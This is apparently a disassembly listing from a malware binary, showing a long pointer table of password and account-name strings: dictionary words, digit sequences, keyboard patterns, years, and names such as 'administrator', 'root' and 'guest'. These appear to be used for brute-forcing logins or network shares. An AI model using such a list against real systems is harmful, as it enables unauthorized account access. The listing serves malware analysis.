		dd offset aUniform	; "uniform"
		dd offset aUniversa	; "universa"
		dd offset aUniverse	; "universe"
		dd offset aUniversi	; "universi"
		dd offset aUnknown_0	; "unknown"
		dd offset aUnlock	; "unlock"
		dd offset aUpload	; "upload"
		dd offset aUranus	; "uranus"
		dd offset aUrchin	; "urchin"
		dd offset aUrsula	; "ursula"
		dd offset aUsenet	; "usenet"
		dd offset aUsermane	; "usermane"
		dd offset aUsername	; "username"
		dd offset aUsmc		; "usmc"
		dd offset aUtil		; "util"
		dd offset aUtility	; "utility"
		dd offset aUucp		; "uucp"
		dd offset aVagina	; "vagina"
		dd offset aValerie	; "valerie"
		dd offset aVampire	; "vampire"
		dd offset aVasant	; "vasant"
		dd offset aVenus	; "venus"
		dd offset aVeronica	; "veronica"
		dd offset aVertigo	; "vertigo"
		dd offset aVicky	; "vicky"
		dd offset aVictor	; "victor"
		dd offset aVideo	; "video"
		dd offset aVideogam	; "videogam"
		dd offset aVillage	; "village"
		dd offset aVirgin	; "virgin"
		dd offset aVirginia	; "virginia"
		dd offset aVirus	; "virus"
		dd offset aVisitor	; "visitor"
		dd offset aVisual	; "visual"
		dd offset aVisualba	; "visualba"
		dd offset aVodka	; "vodka"
		dd offset aWaco		; "waco"
		dd offset aWard		; "ward"
		dd offset aWarez	; "warez"
		dd offset aWarfare	; "warfare"
		dd offset aWargames	; "wargames"
		dd offset aWarp		; "warp"
		dd offset aWarren	; "warren"
		dd offset aWasp		; "wasp"
		dd offset aWatchwor	; "watchwor"
		dd offset aWater	; "water"
		dd offset aWave		; "wave"
		dd offset aWebpage	; "webpage"
		dd offset aWednesda	; "wednesda"
		dd offset aWeed		; "weed"
		dd offset aWeenie	; "weenie"
		dd offset aWell		; "well"
		dd offset aWendi	; "wendi"
		dd offset aWendy	; "wendy"
		dd offset aWerewolf	; "werewolf"
		dd offset aWest		; "west"
		dd offset aWestern	; "western"
		dd offset aWhatever	; "whatever"
		dd offset aWhatnot	; "whatnot"
		dd offset aWhisky	; "whisky"
		dd offset aWhite	; "white"
		dd offset aWhiting	; "whiting"
		dd offset aWhitney	; "whitney"
		dd offset aWholesal	; "wholesal"
		dd offset aWhore	; "whore"
		dd offset aWill		; "will"
		dd offset aWilliam	; "william"
		dd offset aWilliams	; "williams"
		dd offset aWillie	; "willie"
		dd offset aWilma	; "wilma"
		dd offset aWindows	; "windows"
		dd offset aWine		; "wine"
		dd offset aWing		; "wing"
		dd offset aWinston	; "winston"
		dd offset aWired	; "wired"
		dd offset aWisconsi	; "wisconsi"
		dd offset aWiseass	; "wiseass"
		dd offset aWithin	; "within"
		dd offset aWizard	; "wizard"
		dd offset aWolf		; "wolf"
		dd offset aWolverin	; "wolverin"
		dd offset aWoman	; "woman"
		dd offset aWombat	; "wombat"
		dd offset aWomen	; "women"
		dd offset aWood		; "wood"
		dd offset aWoodwind	; "woodwind"
		dd offset aWord		; "word"
		dd offset aWordperf	; "wordperf"
		dd offset aWorf		; "worf"
		dd offset aWork		; "work"
		dd offset aWorm		; "worm"
		dd offset aWormwood	; "wormwood"
		dd offset aWwii		; "wwii"
		dd offset aWyoming	; "wyoming"
		dd offset aXena		; "xena"
		dd offset aXfer		; "xfer"
		dd offset aXman		; "xman"
		dd offset aXmen		; "xmen"
		dd offset aXmodem	; "xmodem"
		dd offset aXray		; "xray"
		dd offset aXyzzy	; "xyzzy"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aYankee	; "yankee"
		dd offset aYellow	; "yellow"
		dd offset aYellowst	; "yellowst"
		dd offset aYolanda	; "yolanda"
		dd offset aYosemite	; "yosemite"
		dd offset aYoung	; "young"
		dd offset aZebra	; "zebra"
		dd offset aZeitgeis	; "zeitgeis"
		dd offset aZiggy	; "ziggy"
		dd offset aZimmerma	; "zimmerma"
		dd offset aZmodem	; "zmodem"
		dd offset aZombie	; "zombie"
		dd offset aZulu		; "zulu"
		dd offset a00000000	; "00000000"
		dd offset aTester	; "tester"
		dd offset aTestin	; "testin"
		dd offset aRoss		; "Ross"
		dd offset aRosco	; "Rosco"
		dd offset aRoscop	; "RoscoP"
		dd offset aRoscopcoltrane ; "RoscoPColtrane"
		dd offset aLol		; "lol"
		dd offset aD00d		; "d00d"
		dd offset aDudette	; "dudette"
		dd offset aDud3		; "dud3"
		dd offset aAl3x		; "Al3x"
		dd offset aAlexander	; "Alexander"
		dd offset aDonaldduck	; "donaldduck"
		dd offset aWileecoyote	; "wileecoyote"
		dd offset aWindowz	; "windowz"
		dd offset aWindoze	; "windoze"
		dd offset aWindose	; "windose"
		dd offset aBilly	; "billy"
		dd offset aM_0		; "M$"
		dd offset aMs		; "MS"
		dd offset aWindowsxp	; "WindowsXP"
; ---------------------------------------------------------------------------
		sal	bh, 1
		inc	edx
		add	ah, al
		test	dword ptr [edx+0], offset aWindows98 ; "windows98"
		lodsb
		test	dword ptr [edx+0], offset aWindozexp ; "windozexp"
		xchg	eax, esp


loc_42DD9D:				; CODE XREF: .nsp0:0042DDA4j
		test	dword ptr [edx+0], offset aWindozeme ; "windozeME"
		jl	short loc_42DD9D
		inc	edx
		add	[eax-9], dh
		inc	edx
		add	[eax-9], ch
		inc	edx
		add	[edi+esi*8+42h], ah
		add	[edi+esi*8+42h], bl
		add	[eax-9], bl
		inc	edx
		add	[eax-9], dl
		inc	edx
		add	[eax-9], cl
		inc	edx
		add	[edi+esi*8], bh
		inc	edx
		add	[eax], dh
		test	dword ptr [edx+0], offset aAda ; "ada"
		and	bh, dh
		inc	edx
		add	[edi+esi*8], bl
		inc	edx
		add	[eax], bl
		test	dword ptr [edx+0], offset aAmorphous ; "amorphous"
		or	bh, dh
		inc	edx
		add	ah, bh
		test	byte ptr [edx+0], 0F8h
		test	byte ptr [edx+0], 0E8h
		test	byte ptr [edx+0], 0E4h
		test	byte ptr [edx+0], 0E0h
		test	byte ptr [edx+0], 0D4h
		test	byte ptr [edx+0], 0C8h
		test	byte ptr [edx+0], 0BCh
		test	byte ptr [edx+0], 0B8h
		test	byte ptr [edx+0], 0B4h
		test	byte ptr [edx+0], 0B0h
		test	byte ptr [edx+0], 0A4h
		test	byte ptr [edx+0], 0A0h
		test	byte ptr [edx+0], 94h
		test	byte ptr [edx+0], 88h
		test	byte ptr [edx+0], 7Ch
		test	byte ptr [edx+0], 70h
		test	byte ptr [edx+0], 64h
		test	byte ptr [edx+0], 58h
		test	byte ptr [edx+0], 54h
		test	byte ptr [edx+0], 48h
		test	byte ptr [edx+0], 3Ch
		test	byte ptr [edx+0], 38h
		test	byte ptr [edx+0], 34h
		test	byte ptr [edx+0], 28h
		test	byte ptr [edx+0], 1Ch
		test	byte ptr [edx+0], 10h
		test	byte ptr [edx+0], 4
		test	byte ptr [edx+0], 0F8h
		cmc
		inc	edx
		add	ah, ch
		cmc
		inc	edx
		add	al, ah
		cmc
		inc	edx
		add	ah, dl
		cmc
		inc	edx
		add	al, dl
		cmc
		inc	edx
		add	ah, cl
		cmc
		inc	edx
		add	al, cl
		cmc
		inc	edx
		add	[ebp+esi*8-0A47FFBEh], bh
		inc	edx
		add	[ebp+esi*8-0A5FFFBEh], ch
		inc	edx
		add	[ebp+esi*8-0A67FFBEh], bl
		inc	edx
		add	[esp+eax*4], bh
		inc	edx
		add	[ebp+esi*8-0A77FFBEh], dl
		inc	edx
		add	[ebp+esi*8-0A7FFFBEh], al
		inc	edx
		add	[ebp+esi*8+42h], dh
		add	[eax-0Bh], dh
		inc	edx
		add	[ebp+esi*8+42h], ch
		add	[eax-0Bh], ch
		inc	edx
		add	[ebp+esi*8+42h], ah
		add	[eax-0Bh], bl
		inc	edx
		add	[eax-0Bh], cl
		inc	edx
		add	[ebp+esi*8+42h], al
		add	[eax-0Bh], al
		inc	edx
		add	ds:0F5280042h[esi*8], dh
		inc	edx
		add	ds:0F5100042h[esi*8], bl
		inc	edx
		add	ds:0F4F80042h[esi*8], al
		inc	edx
		add	ah, dh
; ---------------------------------------------------------------------------
		db 0F4h, 42h, 0
		dd offset aRachmaninoff	; "rachmaninoff"
		dd offset aRje		; "rje"
		dd offset aRochester	; "rochester"
		dd offset aSal		; "sal"
		dd offset aSheffield	; "sheffield"
		dd offset aSignature	; "signature"
		dd offset aStephanie	; "stephanie"
		dd offset aStratford	; "stratford"
		dd offset aStuttgart	; "stuttgart"
		dd offset aSun		; "sun"
		dd offset aSuperstage	; "superstage"
		dd offset aSuperuser	; "superuser"
		dd offset aSupported	; "supported"
		dd offset aSys		; "sys"
		dd offset aTangerine	; "tangerine"
		dd offset aTelephone	; "telephone"
		dd offset aTemptation	; "temptation"
		dd offset aTopography	; "topography"
		dd offset aTty		; "tty"
		dd offset aWholesale	; "wholesale"
		dd offset aWilliamsburg	; "williamsburg"
		dd offset aWisconsin	; "wisconsin"
		dd offset aXyz		; "xyz"
		dd offset aYellowstone	; "yellowstone"
		dd offset aZap		; "zap"
		dd offset aZimmerman	; "zimmerman"
		dd offset dword_42F3E8
		dd offset dword_42F3E4
		dd offset dword_42F3E0
		dd offset dword_42F3DC
		dd offset dword_42F3D4
		dd offset dword_42F3CC
		dd offset dword_42F3C4
		dd offset dword_42F3B8
		dd offset loc_4263DB+1
		dd offset dword_42F3B4
		dd offset off_42F3B0
		dd offset a@_6		; "@"
		dd offset a@@		; "@@"
		dd offset asc_42F3A4	; "+"
		dd offset asc_42F3A0	; "++"
		dd offset asc_42F39C	; "+++"
		dd offset asc_42F394	; "++++"
		dd offset asc_42F390	; "-"
		dd offset asc_42F38C	; "--"
		dd offset asc_42F38C	; "--"
		dd offset asc_42F384	; "----"
		dd offset asc_42F380	; "-+"
		dd offset asc_42F378	; "--++"
		dd offset a0		; "=-0"
		dd offset a789_0	; "789+"
		dd offset a456_0	; "456+"
		dd offset asc_42F360	; "$"
		dd offset asc_42F35C	; "$$"
		dd offset asc_42F358	; "$$$"
		dd offset a@_5		; "*&^%$#@!"
		dd offset a@_4		; "&^%$#@!"
		dd offset a@_3		; "^%$#@!"
		dd offset a@_2		; "%$#@!"
		dd offset a@_1		; "$#@!"
		dd offset a@_0		; "#@!"
		dd offset a@		; "@!"
		dd offset dword_4263F0
		dd offset a00		; "00"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset a00000000	; "00000000"
		dd offset a000000000	; "000000000"
		dd offset a0000000000	; "0000000000"
		dd offset asc_426CB0	; "*"
		dd offset asc_42F308	; "**"
		dd offset asc_42F304	; "***"
		dd offset asc_42F2FC	; "****"
		dd offset asc_42F2F4	; "*****"
		dd offset asc_42F2EC	; "******"
		dd offset asc_42F2E4	; "*******"
		dd offset asc_42F2D8	; "********"
		dd offset asc_42F2CC	; "*********"
		dd offset a001		; "001"
		dd offset a002		; "002"
		dd offset a003		; "003"
		dd offset a004		; "004"
		dd offset a005		; "005"
		dd offset a006		; "006"
		dd offset a007		; "007"
		dd offset a008		; "008"
		dd offset a009		; "009"
		dd offset a010		; "010"
		dd offset a0wn3d	; "0wn3d"
		dd offset a0wned	; "0wned"
		dd offset a1		; "1"
		dd offset a11		; "11"
		dd offset a111		; "111"
		dd offset a1111		; "1111"
		dd offset a11111	; "11111"
		dd offset a111111	; "111111"
		dd offset a1111111	; "1111111"
		dd offset a11111111	; "11111111"
		dd offset a111111111	; "111111111"
		dd offset a1111111111	; "1111111111"
		dd offset a2		; "2"
		dd offset a22		; "22"
		dd offset a222		; "222"
		dd offset a2222		; "2222"
		dd offset a22222	; "22222"
		dd offset a222222	; "222222"
		dd offset a2222222	; "2222222"
		dd offset a22222222	; "22222222"
		dd offset a222222222	; "222222222"
		dd offset a2222222222	; "2222222222"
		dd offset a3		; "3"
		dd offset a33		; "33"
		dd offset a333		; "333"
		dd offset a3333		; "3333"
		dd offset a33333	; "33333"
		dd offset a333333	; "333333"
		dd offset a3333333	; "3333333"
		dd offset a33333333	; "33333333"
		dd offset a333333333	; "333333333"
		dd offset a3333333333	; "3333333333"
		dd offset a4		; "4"
		dd offset a44		; "44"
		dd offset a444		; "444"
		dd offset a4444		; "4444"
		dd offset a44444	; "44444"
		dd offset a444444	; "444444"
		dd offset a4444444	; "4444444"
		dd offset a44444444	; "44444444"
		dd offset a444444444	; "444444444"
		dd offset a4444444444	; "4444444444"
		dd offset a5		; "5"
		dd offset a55		; "55"
		dd offset a555		; "555"
		dd offset a5555		; "5555"
		dd offset a55555	; "55555"
		dd offset a555555	; "555555"
		dd offset a5555555	; "5555555"
		dd offset a55555555	; "55555555"
		dd offset a555555555	; "555555555"
		dd offset a5555555555	; "5555555555"
		dd offset a6		; "6"
		dd offset a66		; "66"
		dd offset a666		; "666"
		dd offset a6666		; "6666"
		dd offset a66666	; "66666"
		dd offset a666666	; "666666"
		dd offset a6666666	; "6666666"
		dd offset a66666666	; "66666666"
		dd offset a666666666	; "666666666"
		dd offset a6666666666	; "6666666666"
		dd offset a7		; "7"
		dd offset a77		; "77"
		dd offset a777		; "777"
		dd offset a7777		; "7777"
		dd offset a77777	; "77777"
		dd offset a777777	; "777777"
		dd offset a7777777	; "7777777"
		dd offset a77777777	; "77777777"
		dd offset a777777777	; "777777777"
		dd offset a7777777777	; "7777777777"
		dd offset a8		; "8"
		dd offset a88		; "88"
		dd offset a888		; "888"
		dd offset a8888		; "8888"
		dd offset a88888	; "88888"
		dd offset a888888	; "888888"
		dd offset a8888888	; "8888888"
		dd offset a88888888	; "88888888"
		dd offset a888888888	; "888888888"
		dd offset a8888888888	; "8888888888"
		dd offset a9		; "9"
		dd offset a99		; "99"
		dd offset a999		; "999"
		dd offset a9999		; "9999"
		dd offset a99999	; "99999"
		dd offset a999999	; "999999"
		dd offset a9999999	; "9999999"
		dd offset a99999999	; "99999999"
		dd offset a999999999	; "999999999"
		dd offset a9999999999	; "9999999999"
		dd offset a110		; "110"
		dd offset a7410		; "7410"
		dd offset a0147		; "0147"
		dd offset a1122		; "1122"
		dd offset a456		; "456"
		dd offset a654		; "654"
		dd offset a789		; "789"
		dd offset a987		; "987"
		dd offset a8520		; "8520"
		dd offset a0258		; "0258"
		dd offset a1020		; "1020"
		dd offset a12		; "12"
		dd offset a121		; "121"
		dd offset a121212	; "121212"
		dd offset a123		; "123"
		dd offset a123123	; "123123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a12346	; "12346"
		dd offset a123467	; "123467"
		dd offset a1234678	; "1234678"
		dd offset a12346789	; "12346789"
		dd offset a123467890	; "123467890"
		dd offset a1qwer	; "1qwer"
		dd offset a1abc		; "1abc"
		dd offset a1asd		; "1asd"
		dd offset a1qwe		; "1qwe"
		dd offset a12qwer	; "12qwer"
		dd offset a12abc	; "12abc"
		dd offset a12asd	; "12asd"
		dd offset a12qwe	; "12qwe"
		dd offset a123qwer	; "123qwer"
		dd offset a123abc	; "123abc"
		dd offset a123asd	; "123asd"
		dd offset a123qwe	; "123qwe"
		dd offset a1234qwer	; "1234qwer"
		dd offset a1234abc	; "1234abc"
		dd offset a1234asd	; "1234asd"
		dd offset a1234qwe	; "1234qwe"
		dd offset a1952		; "1952"
		dd offset a1953		; "1953"
		dd offset a1954		; "1954"
		dd offset a1955		; "1955"
		dd offset a1956		; "1956"
		dd offset a1957		; "1957"
		dd offset a1958		; "1958"
		dd offset a1959		; "1959"
		dd offset a1960		; "1960"
		dd offset a1961		; "1961"
		dd offset a1962		; "1962"
		dd offset a1963		; "1963"
		dd offset a1964		; "1964"
		dd offset a1965		; "1965"
		dd offset a1966		; "1966"
		dd offset a1967		; "1967"
		dd offset a1968		; "1968"
		dd offset a1969		; "1969"
		dd offset a1970		; "1970"
		dd offset a1971		; "1971"
		dd offset a1972		; "1972"
		dd offset a1973		; "1973"
		dd offset a1974		; "1974"
		dd offset a1975		; "1975"
		dd offset a1976		; "1976"
		dd offset a1977		; "1977"
		dd offset a1978		; "1978"
		dd offset a1979		; "1979"
		dd offset a1980		; "1980"
		dd offset a1981		; "1981"
		dd offset a1982		; "1982"
		dd offset a1983		; "1983"
		dd offset a1984		; "1984"
		dd offset a1985		; "1985"
		dd offset a1986		; "1986"
		dd offset a1987		; "1987"
		dd offset a1988		; "1988"
		dd offset a1989		; "1989"
		dd offset a1990		; "1990"
		dd offset a1991		; "1991"
		dd offset a1992		; "1992"
		dd offset a1993		; "1993"
		dd offset a1994		; "1994"
		dd offset a1995		; "1995"
		dd offset a1996		; "1996"
		dd offset a1997		; "1997"
		dd offset a1998		; "1998"
		dd offset a1999		; "1999"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset a2005		; "2005"
		dd offset a2006		; "2006"
		dd offset a2600		; "2600"
		dd offset a321		; "321"
		dd offset a4321		; "4321"
		dd offset a54321	; "54321"
		dd offset a654321	; "654321"
		dd offset a7654321	; "7654321"
		dd offset aSony		; "sony"
		dd offset aSamsung_0	; "SAMSUNG"
		dd offset aSamsung	; "samsung"
		dd offset aSony_0	; "SONY"
		dd offset aMaster_0	; "MASTER"
		dd offset aMicrosoft	; "MICROSOFT"
		dd offset aDisc_0	; "DISC"
		dd offset aCreative	; "CREATIVE"
		dd offset aSex		; "SEX"
		dd offset aNokia	; "NOKIA"
		dd offset aXp		; "XP"
		dd offset aA_1		; "a"
		dd offset aAa		; "aa"
		dd offset aAaa		; "aaa"
		dd offset aAaaa		; "aaaa"
		dd offset aAaaaa	; "aaaaa"
		dd offset aAaaaaa	; "aaaaaa"
		dd offset aAaaaaaa	; "aaaaaaa"
		dd offset aAaaaaaaa	; "aaaaaaaa"
		dd offset aAaaaaaaaa	; "aaaaaaaaa"
		dd offset aPassword_0	; "Password"
		dd offset aPassword1	; "password1"
		dd offset aQw		; "qw"
		dd offset aQwe		; "qwe"
		dd offset aQwer		; "qwer"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aQwertyu	; "qwertyu"
		dd offset aQwertyui	; "qwertyui"
		dd offset aQwertyuio	; "qwertyuio"
		dd offset aQwertyuiop	; "qwertyuiop"
		dd offset aRoot		; "root"
		dd offset aServer_0	; "server"
		dd offset aService	; "service"
		dd offset aServers	; "servers"
		dd offset aServices	; "services"
		dd offset aSystem	; "system"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aChi_0	; "CHI"
		dd offset aChi		; "chi"
		dd offset aKor_0	; "kor"
		dd offset aTiger	; "tiger"
		dd offset aKor		; "KOR"
		dd offset aToyota_0	; "TOYOTA"
		dd offset aToyota	; "toyota"
		dd offset asc_432C64	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset aXyz		; "xyz"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aKonyang	; "konyang"
		dd offset aZ		; "z"
		dd offset aZx		; "zx"
		dd offset aZxc		; "zxc"
		dd offset aZxcv		; "zxcv"
		dd offset aZxcvb	; "zxcvb"
		dd offset aZxcvbn	; "zxcvbn"
		dd offset aZxcvbnm	; "zxcvbnm"
		dd offset aAs		; "as"
		dd offset aAsd		; "asd"
		dd offset aAsdf		; "asdf"
		dd offset aAsdfg	; "asdfg"
		dd offset aAsdfgh	; "asdfgh"
; ---------------------------------------------------------------------------
		adc	ah, ch
		inc	edx
		add	[esp+ebp*8], al
		inc	edx
		add	al, bh
		jmp	short loc_42E4B9
; ---------------------------------------------------------------------------
		align 4
		dd offset aQaz		; "qaz"
		dd offset aWsx		; "wsx"
		dd offset aEdc		; "edc"
		dd offset aRfv		; "rfv"
		dd offset aB_0		; "b"
		dd offset aBb		; "bb"
; ---------------------------------------------------------------------------
		fsub	st(3), st
		inc	edx
		add	ah, dl
		jmp	short loc_42E4D9
; ---------------------------------------------------------------------------
		align 4
		dd offset aBbbbb	; "bbbbb"
		dd offset aBbbbbb	; "bbbbbb"
; ---------------------------------------------------------------------------
		mov	esp, 0B00042EBh
		jmp	short loc_42E4E9
; ---------------------------------------------------------------------------
		align 4
		movsb
		jmp	short loc_42E4ED
; ---------------------------------------------------------------------------
		align 4
		mov	al, ds:9C0042EBh
		jmp	short loc_42E4F5
; ---------------------------------------------------------------------------
		align 4
		cwde
		jmp	short loc_42E4F9
; ---------------------------------------------------------------------------
		align 4
		db 90h
; ---------------------------------------------------------------------------


loc_42E4B9:				; CODE XREF: .nsp0:0042E475j
		jmp	short loc_42E4FD
; ---------------------------------------------------------------------------
		align 4
		mov	bl, ch
		inc	edx
		add	[eax+780042EBh], al
		jmp	short loc_42E509
; ---------------------------------------------------------------------------
		align 4
		dd offset aCccccccc	; "cccccccc"
; ---------------------------------------------------------------------------
		pusha
		jmp	short loc_42E511
; ---------------------------------------------------------------------------
		align 10h
		pop	esp
		jmp	short loc_42E515
; ---------------------------------------------------------------------------
		align 4
		dd offset aDd_2		; "dd"
; ---------------------------------------------------------------------------
		push	esp


loc_42E4D9:				; CODE XREF: .nsp0:0042E495j
		jmp	short loc_42E51D
; ---------------------------------------------------------------------------
		align 4
		dd offset aDddd		; "dddd"
		dd offset aDdddd	; "ddddd"
; ---------------------------------------------------------------------------
		inc	eax
		jmp	short near ptr loc_42E528+1
; ---------------------------------------------------------------------------
		align 4
		db 3Ch
; ---------------------------------------------------------------------------


loc_42E4E9:				; CODE XREF: .nsp0:0042E4A5j
		jmp	short loc_42E52D
; ---------------------------------------------------------------------------
		align 4
		db 38h
; ---------------------------------------------------------------------------


loc_42E4ED:				; CODE XREF: .nsp0:0042E4A9j
		jmp	short near ptr loc_42E52D+4
; ---------------------------------------------------------------------------
		align 10h
		xor	bl, ch
		inc	edx
		add	[eax], ch


loc_42E4F5:				; CODE XREF: .nsp0:0042E4B1j
		jmp	short loc_42E539
; ---------------------------------------------------------------------------
		align 4
		db 24h
; ---------------------------------------------------------------------------


loc_42E4F9:				; CODE XREF: .nsp0:0042E4B5j
		jmp	short near ptr loc_42E539+4
; ---------------------------------------------------------------------------
		align 4
		db 20h
; ---------------------------------------------------------------------------


loc_42E4FD:				; CODE XREF: .nsp0:loc_42E4B9j
		jmp	short loc_42E541
; ---------------------------------------------------------------------------
		align 10h
		dd offset aEee		; "eee"
		dd offset aEeee		; "eeee"
		db 0Ch
; ---------------------------------------------------------------------------


loc_42E509:				; CODE XREF: .nsp0:0042E4C5j
		jmp	short loc_42E54D
; ---------------------------------------------------------------------------
		align 4
		dd offset aEeeeee	; "eeeeee"
		db 0
; ---------------------------------------------------------------------------


loc_42E511:				; CODE XREF: .nsp0:0042E4CDj
		jmp	short loc_42E555
; ---------------------------------------------------------------------------
		align 4
		cld


loc_42E515:				; CODE XREF: .nsp0:0042E4D1j
		jmp	far ptr	42h:0EAF80042h
; ---------------------------------------------------------------------------
		db 0F0h
; ---------------------------------------------------------------------------


loc_42E51D:				; CODE XREF: .nsp0:loc_42E4D9j
		jmp	far ptr	42h:0EAE80042h
; ---------------------------------------------------------------------------
		dd offset aGggggg	; "gggggg"
; ---------------------------------------------------------------------------


loc_42E528:				; CODE XREF: .nsp0:0042E4E5j
		fsub	st(2), st
		inc	edx
		add	al, bl


loc_42E52D:				; CODE XREF: .nsp0:loc_42E4E9j
					; .nsp0:loc_42E4EDj
		jmp	far ptr	42h:0EAD40042h
; ---------------------------------------------------------------------------
		dd offset aHhhh		; "hhhh"
		db 0C4h
; ---------------------------------------------------------------------------


loc_42E539:				; CODE XREF: .nsp0:loc_42E4F5j
					; .nsp0:loc_42E4F9j
		jmp	far ptr	42h:0EABC0042h
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_42E541:				; CODE XREF: .nsp0:loc_42E4FDj
		jmp	far ptr	42h:0EAB40042h
; ---------------------------------------------------------------------------
		dd offset aIii		; "iii"
		db 0A8h
; ---------------------------------------------------------------------------


loc_42E54D:				; CODE XREF: .nsp0:loc_42E509j
		jmp	far ptr	42h:0EAA00042h
; ---------------------------------------------------------------------------
		db  98h	; ˜
; ---------------------------------------------------------------------------


loc_42E555:				; CODE XREF: .nsp0:loc_42E511j
		jmp	far ptr	42h:0EA940042h
; ---------------------------------------------------------------------------
		dd offset aJj		; "jj"
		dd offset aJjj		; "jjj"
		dd offset aJjjj		; "jjjj"
		dd offset aJjjjj	; "jjjjj"
		dd offset aJjjjjj	; "jjjjjj"
		dd offset aK		; "k"
		dd offset aKk		; "kk"
		dd offset aKkk		; "kkk"
		dd offset aKkkk		; "kkkk"
		dd offset aKkkkk	; "kkkkk"
		dd offset aKkkkkk	; "kkkkkk"
		dd offset asc_42EA4C	; "l"
		dd offset aLl		; "ll"
		dd offset aLll		; "lll"
		dd offset aLlll		; "llll"
		dd offset aLllll	; "lllll"
		dd offset aLlllll	; "llllll"
		dd offset aM		; "m"
		dd offset aMm		; "mm"
		dd offset aMmm		; "mmm"
		dd offset aMmmm		; "mmmm"
		dd offset aMmmmm	; "mmmmm"
		dd offset aMmmmmm	; "mmmmmm"
		dd offset aN		; "n"
		dd offset aNn		; "nn"
		dd offset aNnn		; "nnn"
		dd offset aNnnn		; "nnnn"
		dd offset aNnnnn	; "nnnnn"
		dd offset aNnnnnn	; "nnnnnn"
		dd offset aO		; "o"
		dd offset aOo		; "oo"
		dd offset aOoo		; "ooo"
		dd offset aOooo		; "oooo"
		dd offset aOoooo	; "ooooo"
		dd offset aOooooo	; "oooooo"
		dd offset aP		; "p"
		dd offset aPp		; "pp"
		dd offset aPpp		; "ppp"
		dd offset aPppp		; "pppp"
		dd offset aPpppp	; "ppppp"
		dd offset aPppppp	; "pppppp"
		dd offset aU		; "u"
		dd offset aUu		; "uu"
		dd offset aUuu		; "uuu"
		dd offset aUuuu		; "uuuu"
		dd offset aUuuuu	; "uuuuu"
		dd offset aUuuuuu	; "uuuuuu"
		dd offset aS_4		; "s"
		dd offset aSs		; "ss"
		dd offset aSss		; "sss"
		dd offset aSsss		; "ssss"
		dd offset aSssss	; "sssss"
		dd offset aSsssss	; "ssssss"
		dd offset aT		; "t"
		dd offset aTt		; "tt"
		dd offset aTtt		; "ttt"
		dd offset aTttt		; "tttt"
		dd offset aTtttt	; "ttttt"
		dd offset aTttttt	; "tttttt"
		dd offset aY		; "y"
		dd offset aYy		; "yy"
		dd offset aYyy		; "yyy"
		dd offset aYyyy		; "yyyy"
		dd offset aYyyyy	; "yyyyy"
		dd offset aYyyyyy	; "yyyyyy"
		dd offset aV		; "v"
		dd offset aVv		; "vv"
		dd offset aVvv		; "vvv"
		dd offset aVvvv		; "vvvv"
		dd offset aVvvvv	; "vvvvv"
		dd offset aVvvvvv	; "vvvvvv"
		dd offset aW		; "w"
		dd offset aWw		; "ww"
		dd offset aWww		; "www"
		dd offset aWwww		; "wwww"
		dd offset aWwwww	; "wwwww"
		dd offset aWwwwww	; "wwwwww"
		dd offset aQ		; "q"
		dd offset aQq		; "qq"
		dd offset aQqq		; "qqq"
		dd offset aQqqq		; "qqqq"
		dd offset aQqqqq	; "qqqqq"
		dd offset aQqqqqq	; "qqqqqq"
		dd offset aZ		; "z"
		dd offset aZz		; "zz"
		dd offset aZzz		; "zzz"
		dd offset aZzzz		; "zzzz"
		dd offset aZzzzz	; "zzzzz"
		dd offset aZzzzzz	; "zzzzzz"
		dd offset aXxyyzz	; "xxyyzz"
		dd offset aZzxx		; "zzxx"
		dd offset aAass		; "aass"
		dd offset aQqww		; "qqww"
		dd offset aZzzxxxccc	; "zzzxxxccc"
		dd offset aAaasssddd	; "aaasssddd"
		dd offset aQqqwwweee	; "qqqwwweee"
		dd offset aQqwwee	; "qqwwee"
		dd offset aAassdd	; "aassdd"
		dd offset aZzxxcc	; "zzxxcc"
		dd offset a1qaz		; "1qaz"
		dd offset a2wsx		; "2wsx"
		dd offset a2qaz		; "2qaz"
		dd offset a3edc		; "3edc"
		dd offset a3wsx		; "3wsx"
		dd offset a112233	; "112233"
		dd offset aMnb		; "mnb"
		dd offset aMnbv		; "mnbv"
		dd offset a2486		; "2486"
		dd offset a2684		; "2684"
		dd offset a13579	; "13579"
		dd offset a753159	; "753159"
		dd offset a159357	; "159357"
		dd offset a951753	; "951753"
		dd offset a753951	; "753951"
		dd offset a142536	; "142536"
		dd offset aSystem	; "system"
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrato_0 ; "Administrator"
		dd offset aAdministrator ; "administrator"
		dd offset aFubar	; "fubar"
		dd offset aBla		; "bla"
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aRoot		; "root"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset aEdu		; "edu"
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser_0	; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aServer_1	; "SERVER"
		dd offset byte_438FBC
		dd 0
dword_42E7A4	dd 10h							; sub_40CE55+B60r ...
